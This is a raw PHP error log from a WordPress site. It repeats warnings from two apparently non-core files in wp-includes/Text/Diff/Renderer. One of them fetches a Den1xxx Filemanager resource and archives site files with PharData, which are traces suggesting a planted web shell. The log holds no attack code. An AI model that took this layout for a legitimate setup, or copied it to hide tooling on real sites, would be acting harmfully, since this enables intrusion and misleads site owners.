[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
